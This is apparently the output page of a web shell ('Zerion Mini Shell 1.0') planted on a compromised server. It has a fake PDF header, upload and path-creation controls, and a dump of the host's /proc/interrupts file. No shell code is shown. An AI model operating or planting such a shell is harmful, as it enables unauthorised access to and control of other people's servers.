%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/proc/
Upload File :
Create Path :
Current File : //proc/self/root/proc/interrupts

           CPU0       CPU1       CPU2       
  0:        168          0          0   IO-APIC-edge      timer
  1:         10          0          0   IO-APIC-edge      i8042
  6:          3          0          0   IO-APIC-edge      floppy
  8:          0          0          0   IO-APIC-edge      rtc0
  9:          0          0          0   IO-APIC-fasteoi   acpi
 11:    1232099          0          0   IO-APIC-fasteoi   uhci_hcd:usb1, virtio3
 12:         15          0          0   IO-APIC-edge      i8042
 14:          0          0          0   IO-APIC-edge      ata_piix
 15:          0          0          0   IO-APIC-edge      ata_piix
 24:          0          0          0   PCI-MSI-edge      virtio2-config
 25:       1264          0          0   PCI-MSI-edge      virtio2-virtqueues
 26:          0          0          0   PCI-MSI-edge      virtio1-config
 27:          0          0          0   PCI-MSI-edge      virtio1-control
 28:          0          0          0   PCI-MSI-edge      virtio1-event
 29:   35510464  202404905  179541473   PCI-MSI-edge      virtio1-request
 30:          1          0          4   PCI-MSI-edge      virtio0-config
 31: 1833569616     100090          0   PCI-MSI-edge      virtio0-input.0
 32:        135       3709       4147   PCI-MSI-edge      virtio0-output.0
 33:    9936401  248420393   20253293   PCI-MSI-edge      virtio0-input.1
 34:        255       3001       4435   PCI-MSI-edge      virtio0-output.1
 35:    1150367    7944124 2019345348   PCI-MSI-edge      virtio0-input.2
 36:        347       4365       3693   PCI-MSI-edge      virtio0-output.2
NMI:          0          0          0   Non-maskable interrupts
LOC: 1679698640  764550126 1708169733   Local timer interrupts
SPU:          0          0          0   Spurious interrupts
PMI:          0          0          0   Performance monitoring interrupts
IWI:   11098530    2527256    1829676   IRQ work interrupts
RTR:          0          0          0   APIC ICR read retries
RES:  784886407  811703720  803291287   Rescheduling interrupts
CAL:  145562083   77190036   93383020   Function call interrupts
TLB:   78148724   80910976   84032265   TLB shootdowns
TRM:          0          0          0   Thermal event interrupts
THR:          0          0          0   Threshold APIC interrupts
DFR:          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0   Machine check exceptions
MCP:      41095      41095      41095   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0   Posted-interrupt notification event
NPI:          0          0          0   Nested posted-interrupt event
PIW:          0          0          0   Posted-interrupt wakeup event

Zerion Mini Shell 1.0